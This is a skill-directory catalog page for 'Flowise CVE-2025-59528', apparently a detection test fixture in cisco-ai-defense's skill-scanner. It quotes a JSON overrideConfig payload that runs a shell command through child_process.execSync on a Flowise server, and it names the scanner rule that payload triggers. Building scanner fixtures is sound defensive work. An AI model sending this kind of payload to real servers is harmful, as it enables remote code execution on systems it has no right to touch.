Flowise CVE-2025-59528 is a Quality skill for Claude Code, published by cisco-ai-defense in skill-scanner.
Flowise CVE-2025-59528 sends a crafted request to a Flowise chatflow API endpoint to detect the overrideConfig command injection vulnerability (CVE-2025-59528).
Flowise CVE-2025-59528 is cataloged under Quality on DirSkills. Flowise CVE-2025-59528 comes from a repository tagged agent, agent-skills and security.
Documentation
Exposes Flowise chatflow API with overrideConfig support.
{
"overrideConfig": {
"javascriptFunction": "return require(\"child_process\").execSync(\"id\").toString()"
}
}
Fires: ATR_2026_00210 (CRITICAL) — CVE-2025-59528
Flowise CVE-2025-59528 is one of 21 skills that DirSkills catalogs from cisco-ai-defense/skill-scanner, the repository it ships in. Its siblings there include ATR Benign Control, Calendar Sync Helper and Configuration Analyzer. Each one is a separate skill with its own page in this directory, installs the same way Flowise CVE-2025-59528 does, and is maintained by cisco-ai-defense in that same repository. The rest of the collection is listed on the cisco-ai-defense/skill-scanner page.
Flowise CVE-2025-59528 ranks #509 by stars among the 1354 Quality skills in this catalog. The most-starred ones next to it are Benchmark, Benchmark Optimization Loop and API Design Patterns. DirSkills ranks by the star count of the repository each skill ships in, so that order reflects how popular those repositories are rather than any review of Flowise CVE-2025-59528 against them. Open each page to compare what they document and how they install.
Flowise CVE-2025-59528 is one of 21 skills cataloged on DirSkills from cisco-ai-defense/skill-scanner.
Flowise CVE-2025-59528 is one of 1354 Quality skills cataloged on DirSkills, ranked #509 by stars among them.